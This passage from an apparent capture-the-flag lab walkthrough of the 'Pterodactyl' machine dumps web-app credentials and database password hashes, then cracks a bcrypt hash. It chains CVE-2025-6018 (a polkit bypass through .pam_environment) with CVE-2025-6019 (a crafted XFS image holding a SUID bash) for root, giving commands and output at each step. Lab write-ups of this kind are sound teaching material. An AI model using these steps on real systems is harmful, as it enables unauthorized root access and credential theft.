-rw-r--r-- 1 root         root    33 May 10 20:36 user.txt
</span></code></pre></div></div>

<p>I’ll grab <code class="language-plaintext highlighter-rouge">user.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">wwwrun@pterodactyl:/home/phileasfogg3&gt; </span><span class="nb">cat </span>user.txt
<span class="go">3e5811ea************************
</span></code></pre></div></div>

<p>There’s nothing else really interesting here.</p>

<h4 id="web">Web</h4>

<p>The Nginx site configurations are in <code class="language-plaintext highlighter-rouge">/etc/nginx/conf.d</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">wwwrun@pterodactyl:/&gt; </span><span class="nb">ls</span> /etc/nginx/conf.d/            
<span class="go">00-site.conf  01-pterodactyl.conf
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">00-site.conf</code> has the redirect to <code class="language-plaintext highlighter-rouge">pterodactyl.htb</code>, and a proxy to PHP based from <code class="language-plaintext highlighter-rouge">/var/www/html</code>:</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">server</span> <span class="p">{</span>
    <span class="kn">listen</span> <span class="mi">80</span><span class="p">;</span>
    <span class="kn">server_name</span> <span class="s">pterodactyl.htb</span><span class="p">;</span>

    <span class="kn">root</span> <span class="n">/var/www/html</span><span class="p">;</span>
    <span class="kn">index</span> <span class="s">index.php</span><span class="p">;</span>

    <span class="kn">if</span> <span class="s">(</span><span class="nv">$host</span> <span class="s">!=</span> <span class="s">pterodactyl.htb)</span> <span class="p">{</span>
        <span class="kn">rewrite</span> <span class="s">^</span> <span class="s">http://pterodactyl.htb/</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="kn">location</span> <span class="n">/</span> <span class="p">{</span>
        <span class="kn">try_files</span> <span class="nv">$uri</span> <span class="nv">$uri</span><span class="n">/</span> <span class="p">=</span><span class="mi">404</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1"># PHP handling block goes here</span>
    <span class="kn">location</span> <span class="p">~</span> <span class="sr">\.php$</span> <span class="p">{</span>
        <span class="kn">fastcgi_split_path_info</span> <span class="s">^(.+</span><span class="err">\</span><span class="s">.php)(/.+)</span>$<span class="p">;</span>
        <span class="kn">fastcgi_pass</span> <span class="nf">127.0.0.1</span><span class="p">:</span><span class="mi">9000</span><span class="p">;</span>    <span class="c1"># TCP endpoint of PHP-FPM</span>
        <span class="kn">fastcgi_index</span> <span class="s">index.php</span><span class="p">;</span>
        <span class="kn">include</span> <span class="s">fastcgi_params</span><span class="p">;</span>
        <span class="kn">fastcgi_param</span> <span class="s">SCRIPT_FILENAME</span> <span class="nv">$document_root$fastcgi_script_name</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="kn">location</span> <span class="p">~</span> <span class="sr">/\.ht</span> <span class="p">{</span>
        <span class="kn">deny</span> <span class="s">all</span><span class="p">;</span>
    <span class="p">}</span>

<span class="p">}</span>
</code></pre></div></div>

<p>There’s nothing too interesting in <code class="language-plaintext highlighter-rouge">html</code>.</p>

<p>The config for <code class="language-plaintext highlighter-rouge">01-pterodactyl.conf</code> shows it’s running PHP from <code class="language-plaintext highlighter-rouge">/var/www/pterodactyl/public</code>:</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">server</span> <span class="p">{</span>
    <span class="kn">listen</span> <span class="mi">80</span><span class="p">;</span>
    <span class="kn">server_name</span> <span class="s">panel.pterodactyl.htb</span><span class="p">;</span>

    <span class="kn">root</span> <span class="n">/var/www/pterodactyl/public</span><span class="p">;</span>
    <span class="kn">index</span> <span class="s">index.html</span> <span class="s">index.htm</span> <span class="s">index.php</span><span class="p">;</span>
    <span class="kn">charset</span> <span class="s">utf-8</span><span class="p">;</span>

    <span class="kn">location</span> <span class="n">/</span> <span class="p">{</span>
        <span class="kn">try_files</span> <span class="nv">$uri</span> <span class="nv">$uri</span><span class="n">/</span> <span class="n">/index.php?</span><span class="nv">$query_string</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1"># PHP handling block goes here</span>
    <span class="kn">location</span> <span class="p">~</span> <span class="sr">\.php$</span> <span class="p">{</span>
        <span class="kn">fastcgi_split_path_info</span> <span class="s">^(.+</span><span class="err">\</span><span class="s">.php)(/.+)</span>$<span class="p">;</span>
        <span class="kn">fastcgi_pass</span> <span class="nf">127.0.0.1</span><span class="p">:</span><span class="mi">9000</span><span class="p">;</span>    <span class="c1"># TCP endpoint of PHP-FPM</span>
        <span class="kn">fastcgi_index</span> <span class="s">index.php</span><span class="p">;</span>
        <span class="kn">include</span> <span class="s">fastcgi_params</span><span class="p">;</span>
        <span class="kn">fastcgi_param</span> <span class="s">SCRIPT_FILENAME</span> <span class="nv">$document_root$fastcgi_script_name</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="kn">location</span> <span class="p">=</span> <span class="n">/favicon.ico</span> <span class="p">{</span> <span class="kn">access_log</span> <span class="no">off</span><span class="p">;</span> <span class="kn">log_not_found</span> <span class="no">off</span><span class="p">;</span> <span class="p">}</span>
    <span class="kn">location</span> <span class="p">=</span> <span class="n">/robots.txt</span>  <span class="p">{</span> <span class="kn">access_log</span> <span class="no">off</span><span class="p">;</span> <span class="kn">log_not_found</span> <span class="no">off</span><span class="p">;</span> <span class="p">}</span>

    <span class="kn">access_log</span> <span class="no">off</span><span class="p">;</span>
    <span class="kn">error_log</span>  <span class="n">/var/log/nginx/pterodactyl.app-error.log</span> <span class="s">error</span><span class="p">;</span>

    <span class="c1"># allow larger file uploads and longer script runtimes</span>
    <span class="kn">client_max_body_size</span> <span class="mi">100m</span><span class="p">;</span>
    <span class="kn">client_body_timeout</span> <span class="s">120s</span><span class="p">;</span>

    <span class="kn">sendfile</span> <span class="no">off</span><span class="p">;</span>

    <span class="kn">location</span> <span class="p">~</span> <span class="sr">/\.ht</span> <span class="p">{</span>
        <span class="kn">deny</span> <span class="s">all</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This also looks like a vanilla install of Pterodactyl:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">wwwrun@pterodactyl:/var/www/pterodactyl&gt; </span><span class="nb">ls</span>
<span class="go">BUILDING.md   artisan          docker-compose.example.yml  storage
CHANGELOG.md  babel.config.js  jest.config.js              tailwind.config.js
Dockerfile    bootstrap        package.json                tsconfig.json
LICENSE.md    composer.json    postcss.config.js           vendor
README.md     composer.lock    public                      webpack.config.js
SECURITY.md   config           resources                   yarn.lock
app           database         routes
</span></code></pre></div></div>

<p>As I noted above, the database config is in <code class="language-plaintext highlighter-rouge">config/database.php</code>. The same username and password are in the <code class="language-plaintext highlighter-rouge">.env</code> file:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="600"><div class="highlight"><pre class="highlight"><code><span class="gp">wwwrun@pterodactyl:/var/www/pterodactyl&gt; </span><span class="nb">cat</span> .env
<span class="go">APP_ENV=production
APP_DEBUG=false
APP_KEY=base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
APP_THEME=pterodactyl
APP_TIMEZONE=UTC
APP_URL="http://panel.pterodactyl.htb"
APP_LOCALE=en
APP_ENVIRONMENT_ONLY=false

LOG_CHANNEL=daily
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel

REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

CACHE_DRIVER=redis
QUEUE_CONNECTION=redis
SESSION_DRIVER=redis

HASHIDS_SALT=pKkOnx0IzJvaUXKWt2PK
HASHIDS_LENGTH=8

MAIL_MAILER=smtp
MAIL_HOST=smtp.example.com
MAIL_PORT=25
MAIL_USERNAME=
MAIL_PASSWORD=
MAIL_ENCRYPTION=tls
MAIL_FROM_ADDRESS=no-reply@example.com
MAIL_FROM_NAME="Pterodactyl Panel"
</span><span class="c"># You should set this to your domain to prevent it defaulting to 'localhost', causing
# mail servers such as Gmail to reject your mail.
#
# @see: https://github.com/pterodactyl/panel/pull/3110
# MAIL_EHLO_DOMAIN=panel.example.com
</span><span class="go">
APP_SERVICE_AUTHOR="pterodactyl@pterodactyl.htb"
PTERODACTYL_TELEMETRY_ENABLED=false
RECAPTCHA_ENABLED=false
</span></code></pre></div></div>

<h4 id="database-1">Database</h4>

<p>I’ll connect to the database using the creds from the config / <code class="language-plaintext highlighter-rouge">.env</code> file:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">wwwrun@pterodactyl:/var/www/pterodactyl&gt; </span>mariadb <span class="nt">-u</span> pterodactyl <span class="nt">-pPteraPanel</span> <span class="nt">-h</span> 127.0.0.1 panel
<span class="go">Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2733
Server version: 11.8.3-MariaDB MariaDB package

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

</span><span class="gp">MariaDB [panel]&gt; </span><span class="w">
</span></code></pre></div></div>

<p>The instance has three dbs:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">MariaDB [panel]&gt; </span>show databases<span class="p">;</span>
<span class="go">+--------------------+
| Database           |
+--------------------+
| information_schema |
| panel              |
| test               |
+--------------------+
3 rows in set (0.001 sec)
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">test</code> is empty and <code class="language-plaintext highlighter-rouge">information_schema</code> is default.</p>

<p><code class="language-plaintext highlighter-rouge">panel</code> has 35 tables:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">MariaDB [panel]&gt; </span>show tables<span class="p">;</span>
<span class="go">+-----------------------+
| Tables_in_panel       |
+-----------------------+
| activity_log_subjects |
| activity_logs         |
| allocations           |
| api_keys              |
| api_logs              |
| audit_logs            |
| backups               |
| database_hosts        |
| databases             |
| egg_mount             |
| egg_variables         |
| eggs                  |
| failed_jobs           |
| jobs                  |
| locations             |
| migrations            |
| mount_node            |
| mount_server          |
| mounts                |
| nests                 |
| nodes                 |
| notifications         |
| password_resets       |
| recovery_tokens       |
| schedules             |
| server_transfers      |
| server_variables      |
| servers               |
| sessions              |
| settings              |
| subusers              |
| tasks                 |
| tasks_log             |
| user_ssh_keys         |
| users                 |
+-----------------------+
35 rows in set (0.000 sec)
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">user_ssh_keys</code> is empty. The most interesting table is <code class="language-plaintext highlighter-rouge">users</code>, where there are two entries:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">MariaDB [panel]&gt; </span><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">users</span><span class="p">;</span>       
<span class="go">+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+--------------------------------------------------------------+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+---------------------+
| id | external_id | uuid                                 | username     | email                        | name_first | name_last | password                                                     | remember_token                                               | language | root_admin | use_totp | totp_secret | totp_authenticated_at | gravatar | created_at          | updated_at          |
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+--------------------------------------------------------------+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+---------------------+
|  2 | NULL        | 5e6d956e-7be9-41ec-8016-45e434de8420 | headmonitor  | headmonitor@pterodactyl.htb  | Head       | Monitor   | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 | OL0dNy1nehBYdx9gQ5CT3SxDUQtDNrs02VnNesGOObatMGzKvTJAaO0B1zNU | en       |          1 |        0 | NULL        | NULL                  |        1 | 2025-09-16 17:15:41 | 2025-09-16 17:15:41 |
|  3 | NULL        | ac7ba5c2-6fd8-4600-aeb6-f15a3906982b | phileasfogg3 | phileasfogg3@pterodactyl.htb | Phileas    | Fogg      | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi | 6XGbHcVLLV9fyVwNkqoMHDqTQ2kQlnSvKimHtUDEFvo4SjurzlqoroUgXdn8 | en       |          0 |        0 | NULL        | NULL                  |        1 | 2025-09-16 19:44:19 | 2025-11-07 18:28:50 |
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+--------------------------------------------------------------+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+---------------------+
2 rows in set (0.000 sec)
</span></code></pre></div></div>

<p>I can get just the hashes:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">MariaDB [panel]&gt; </span><span class="k">select</span> <span class="n">username</span><span class="p">,</span><span class="n">password</span> <span class="k">from</span> <span class="n">users</span><span class="p">;</span>
<span class="go">+--------------+--------------------------------------------------------------+
| username     | password                                                     |
+--------------+--------------------------------------------------------------+
| headmonitor  | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |
+--------------+--------------------------------------------------------------+
2 rows in set (0.000 sec)
</span></code></pre></div></div>

<h3 id="shell-1">Shell</h3>

<h4 id="crack-hashes">Crack Hashes</h4>

<p>I’ll save both hashes to a file. These are bcrypt hashes, so they will be very slow to crack, but one of them cracks within a minute or so on my machine:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>hashcat <span class="nt">-m</span> 3200 hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
<span class="go">hashcat (v7.1.2) starting
...[snip]...
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx
...[snip]...
</span></code></pre></div></div>

<p>That’s the hash for phileasfogg3, who is a user on the box.</p>

<h4 id="su--ssh">su / SSH</h4>

<p>That password works for <code class="language-plaintext highlighter-rouge">su</code> to escalate to phileasfogg3:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">wwwrun@pterodactyl:/var/www/pterodactyl&gt; </span>su - phileasfogg3
<span class="go">Password: 
</span><span class="gp">phileasfogg3@pterodactyl:~&gt;</span><span class="w">
</span></code></pre></div></div>

<p>It also works for SSH:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> <span class="s1">'!QAZ2wsx'</span> ssh phileasfogg3@pterodactyl.htb
<span class="go">Have a lot of fun...
Last login: Mon May 11 17:56:18 2026 from 10.10.14.61
</span><span class="gp">phileasfogg3@pterodactyl:~&gt;</span><span class="w"> 
</span></code></pre></div></div>

<h2 id="shell-as-root">Shell as root</h2>

<h3 id="enumeration-1">Enumeration</h3>

<h4 id="sudo">sudo</h4>

<p>The <code class="language-plaintext highlighter-rouge">sudo -l</code> output is a bit different from what typically comes on an Ubuntu or Debian system:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">[sudo] password for phileasfogg3: 
Matching Defaults entries for phileasfogg3 on pterodactyl:
    always_set_home, env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
    LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS
    XDG_SESSION_COOKIE", !insults, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw

User phileasfogg3 may run the following commands on pterodactyl:
    (ALL) ALL
</span></code></pre></div></div>

<p>While this looks exciting, it effectively says that this user can run any command as any user, but the <code class="language-plaintext highlighter-rouge">targetpw</code> directive means that I need that target user’s password to do so. This is the default configuration for openSUSE.</p>

<p>So if I try to run <code class="language-plaintext highlighter-rouge">sudo su -</code>, it prompts for the root user’s password:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span><span class="nb">sudo </span>su -
<span class="go">[sudo] password for root:
</span></code></pre></div></div>

<p>Effectively this is nothing, as if I get any of these passwords, I can just <code class="language-plaintext highlighter-rouge">su</code>.</p>

<h4 id="mail">Mail</h4>

<p><code class="language-plaintext highlighter-rouge">/var/spool/mail/phileasfogg3</code> has an email to this user from the system administrator:</p>

<div class="email">
  <div class="email-chrome">
    <span class="email-tty">/var/spool/mail/phileasfogg3</span>
    <span class="email-status">[ N 1/1 ]</span>
  </div>
  <div class="email-header">
    
    <div class="email-meta">
      
      <div class="email-meta-row">
        <span class="email-meta-label">From:</span>
        <span class="email-meta-value">headmonitor &lt;headmonitor@pterodactyl&gt;</span>
      </div>
      
      
      <div class="email-meta-row">
        <span class="email-meta-label">Delivered-To:</span>
        <span class="email-meta-value">phileasfogg3@pterodactyl</span>
      </div>
      
      
      <div class="email-meta-row">
        <span class="email-meta-label">Received:</span>
        <span class="email-meta-value">by pterodactyl (Postfix, from userid 0) id 1234567890; Fri, 7 Nov 2025 09:15:00 +0100 (CET)</span>
      </div>
      
      
      <div class="email-meta-row">
        <span class="email-meta-label">To:</span>
        <span class="email-meta-value">All Users &lt;all@pterodactyl&gt;</span>
      </div>
      
      
      <div class="email-meta-row">
        <span class="email-meta-label">Subject:</span>
        <span class="email-meta-value">SECURITY NOTICE: Unusual udisksd activity (stay alert)</span>
      </div>
      
      
      <div class="email-meta-row">
        <span class="email-meta-label">Message-ID:</span>
        <span class="email-meta-value">202511070915.headmonitor@pterodactyl</span>
      </div>
      
      
      <div class="email-meta-row">
        <span class="email-meta-label">Date:</span>
        <span class="email-meta-value">Fri, 07 Nov 2025 09:15:00 +0100</span>
      </div>
      
      
      <div class="email-meta-row">
        <span class="email-meta-label">MIME-Version:</span>
        <span class="email-meta-value">1.0</span>
      </div>
      
      
      <div class="email-meta-row">
        <span class="email-meta-label">Content-Type:</span>
        <span class="email-meta-value">text/plain; charset="utf-8"</span>
      </div>
      
      
      <div class="email-meta-row">
        <span class="email-meta-label">Content-Transfer-Encoding:</span>
        <span class="email-meta-value">7bit</span>
      </div>
      
    </div>
  </div>
  <div class="email-body">
    
<p>Attention all users,</p>

<p>Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required.</p>

<p>Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.</p>

<p>Report any signs of compromise immediately to headmonitor@pterodactyl.htb</p>

<p>— HeadMonitor
System Administrator</p>

  </div>
  <div class="email-footer">q:quit  r:reply  i:index  d:delete  ?:help</div>
</div>

<p>This is a good hint to look at plugging in USB devices. <code class="language-plaintext highlighter-rouge">udisksd</code> is the userspace daemon (part of <code class="language-plaintext highlighter-rouge">udisks2</code>) that manages storage on Linux by auto-mounting removable media, handling LUKS volumes, querying SMART data. It runs as root and exposes its interface over D-Bus. A flaw in how it parses filesystem metadata or labels on attacker-supplied media would lead to root code execution, which is exactly the attack surface the email’s “unusual udisksd activity” points to.</p>

<h3 id="escalation-via-two-cves">Escalation via Two CVEs</h3>

<h4 id="cve-identification">CVE Identification</h4>

<p>Searching for “udisksd cve” returns hits focused around two CVEs:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260511153443682.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260511153443682.png" alt="image-20260511153443682" class="include_image " />
</picture>

<p>CVE-2025-8067 is an out-of-bounds read in udisks2’s <code class="language-plaintext highlighter-rouge">LoopSetup</code> D-Bus handler that leaks file descriptors from the root-owned daemon, letting an unprivileged caller map them onto a loop device to read root-owned files. It’s reachable here, but only after first using CVE-2025-6018 to get past polkit (SSH sessions can’t call <code class="language-plaintext highlighter-rouge">LoopSetup</code> on their own), and even then it just gives me an arbitrary file-read on whichever FD the daemon happened to have open. There’s a potential path to root here, but I’m going to use CVE-2025-6019.</p>

<h4 id="cve-background">CVE Background</h4>

<p>There’s actually two CVEs here. <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-6018">CVE-2025-6018</a>:</p>

<blockquote>
  <p>A Local Privilege Escalation (LPE) vulnerability has been discovered in pam-config within Linux Pluggable Authentication Modules (PAM). This flaw allows an unprivileged local attacker (for example, a user logged in via SSH) to obtain the elevated privileges normally reserved for a physically present, “allow_active” user. The highest risk is that the attacker can then perform all allow_active yes Polkit actions, which are typically restricted to console users, potentially gaining unauthorized control over system configurations, services, or other sensitive operations.</p>
</blockquote>

<p>Basically this allows me to bypass protections that would have required a session from a physical keyboard rather than remote like SSH.</p>

<p>Once I have that, I can abuse <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-6019">CVE-2025-6019</a>:</p>

<blockquote>
  <p>A Local Privilege Escalation (LPE) vulnerability was found in libblockdev. Generally, the “allow_active” setting in Polkit permits a physically present user to take certain actions based on the session type. Due to the way libblockdev interacts with the udisks daemon, an “allow_active” user on a system may be able escalate to full root privileges on the target host. Normally, udisks mounts user-provided filesystem images with security flags like nosuid and nodev to prevent privilege escalation. However, a local attacker can create a specially crafted XFS image containing a SUID-root shell, then trick udisks into resizing it. This mounts their malicious filesystem with root privileges, allowing them to execute their SUID-root shell and gain complete control of the system.</p>
</blockquote>

<p>Basically I can abuse <code class="language-plaintext highlighter-rouge">udisks</code> to mount a filesystem that will allow me access to a SetUID shell.</p>

<h4 id="cve-2025-6018">CVE-2025-6018</h4>

<p>I’ll create a <code class="language-plaintext highlighter-rouge">.pam_environment</code> file in my current user’s home directory. polkit reads <code class="language-plaintext highlighter-rouge">XDG_SEAT</code> and <code class="language-plaintext highlighter-rouge">XDG_VTNR</code> to decide whether a session is on the physical console; declaring myself on seat 0 / VT 1 is what gets the SSH session past the <code class="language-plaintext highlighter-rouge">allow_active</code> check.</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span><span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"XDG_SEAT=seat0</span><span class="se">\n</span><span class="s2">XDG_VTNR=1"</span> <span class="o">&gt;</span> .pam_environment
</code></pre></div></div>

<p>Now I’ll exit SSH and reconnect. On this connection, the <code class="language-plaintext highlighter-rouge">.pam_environment</code> file will be loaded. This reflects in my <code class="language-plaintext highlighter-rouge">env</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span><span class="nb">env</span> | <span class="nb">grep </span>XDG
<span class="go">XDG_VTNR=1
XDG_SESSION_ID=1901
XDG_SESSION_TYPE=tty
XDG_DATA_DIRS=/usr/share
XDG_SESSION_CLASS=user
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/run/user/1002
XDG_CONFIG_DIRS=/etc/xdg
</span></code></pre></div></div>

<p>This is enough to bypass the <code class="language-plaintext highlighter-rouge">polkit</code> protection:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span>pkcheck <span class="nt">--action-id</span> org.freedesktop.udisks2.loop-setup <span class="nt">--process</span> <span class="nv">$$</span> <span class="o">&amp;&amp;</span> <span class="nb">echo </span>POLKIT_OK
<span class="go">POLKIT_OK
</span></code></pre></div></div>

<h4 id="cve-2025-6019">CVE-2025-6019</h4>

<p>I’m going to make a malicious image, but I’ll need a copy of the <code class="language-plaintext highlighter-rouge">bash</code> binary from target as <code class="language-plaintext highlighter-rouge">glibc</code>, <code class="language-plaintext highlighter-rouge">libtinfo</code>, and other shared libraries are linked at runtime, and this is a different OS than I am running. I’ll grab it with <code class="language-plaintext highlighter-rouge">scp</code>:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> <span class="s1">'!QAZ2wsx'</span> scp phileasfogg3@pterodactyl.htb:/usr/bin/bash <span class="nb">.</span>
</code></pre></div></div>

<p>Now I create the XFS image using the following flow:</p>

<ol>
  <li>Create a small empty image file (50–64 MB is plenty).</li>
  <li>Format it as XFS with crc=0 (the target kernel is ~5.14; crc=0 keeps the image compatible
 with kernels that don’t support v5 superblocks, defensive).</li>
  <li>Loopback-mount it locally.</li>
  <li>Copy bash inside, chown root:root, chmod 4755.</li>
  <li>Unmount.</li>
</ol>

<p>I’ll create the image:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo dd </span><span class="k">if</span><span class="o">=</span>/dev/zero <span class="nv">of</span><span class="o">=</span>payload.img <span class="nv">bs</span><span class="o">=</span>1M <span class="nv">count</span><span class="o">=</span>512
<span class="go">512+0 records in
512+0 records out
536870912 bytes (537 MB, 512 MiB) copied, 6.16332 s, 87.1 MB/s
</span></code></pre></div></div>

<p>It must be at least 512 MB for the file system to fit, or the next step will fail. I’ll use <code class="language-plaintext highlighter-rouge">mkfs.xfs</code> (<code class="language-plaintext highlighter-rouge">apt install xfsprogs</code>) to turn that into an XFS image:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>mkfs.xfs <span class="nt">-m</span> <span class="nv">crc</span><span class="o">=</span>0 <span class="nt">-f</span> payload.img
<span class="go">V4 filesystems are deprecated and will not be supported by future versions.
meta-data=payload.img            isize=256    agcount=4, agsize=32768 blks
         =                       sectsz=512   attr=2, projid32bit=1
         =                       crc=0        finobt=0, sparse=0, rmapbt=0
         =                       reflink=0    bigtime=0 inobtcount=0 nrext64=0
data     =                       bsize=4096   blocks=131072, imaxpct=25
         =                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0, ftype=1
log      =internal log           bsize=4096   blocks=16384, version=2
         =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0
</span></code></pre></div></div>

<p>I’ll mount the filesystem, copy in <code class="language-plaintext highlighter-rouge">bash</code>, and make it SetUID:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo mkdir</span> /mnt/xfs
<span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>mount <span class="nt">-o</span> loop payload.img /mnt/xfs/
<span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo cp </span>bash /mnt/xfs/rootbash
<span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo chown </span>root:root /mnt/xfs/rootbash
<span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo chmod </span>6755 /mnt/xfs/rootbash
<span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> /mnt/xfs/rootbash
<span class="go">-rwsr-sr-x 1 root root 1012656 May 11 23:12 /mnt/xfs/rootbash
</span></code></pre></div></div>

<p>Now I’ll unmount the image:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>umount /mnt/xfs
</code></pre></div></div>

<p>I’ll copy the image up to Pterodactyl:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> <span class="s1">'!QAZ2wsx'</span> scp payload.img phileasfogg3@pterodactyl.htb:/tmp/payload.img
</code></pre></div></div>

<p>Now I need to have <code class="language-plaintext highlighter-rouge">udisks2</code> set up a loop device on Pterodactyl:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span>udisksctl loop-setup <span class="nt">-f</span> /tmp/payload.img
<span class="go">Mapped file /tmp/payload.img as /dev/loop0.
</span></code></pre></div></div>

<p>That would have blocked if not for CVE-2025-6018.</p>

<p>Now I mount that device:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span>udisksctl mount <span class="nt">-b</span> /dev/loop0
<span class="go">Mounted /dev/loop0 at /run/media/phileasfogg3/d5a0c55e-7f38-471b-ba4b-ebe8d1851a66
</span></code></pre></div></div>

<p>That mounted, but it’s mounted <code class="language-plaintext highlighter-rouge">nosuid</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span>mount | <span class="nb">grep </span>phil
<span class="go">/dev/loop0 on /run/media/phileasfogg3/d5a0c55e-7f38-471b-ba4b-ebe8d1851a66 type xfs (rw,nosuid,nodev,relatime,attr2,inode64,logbufs=8,logbsize=32k,noquota,uhelper=udisks2)
</span></code></pre></div></div>

<p>I’ll unmount it:</p>

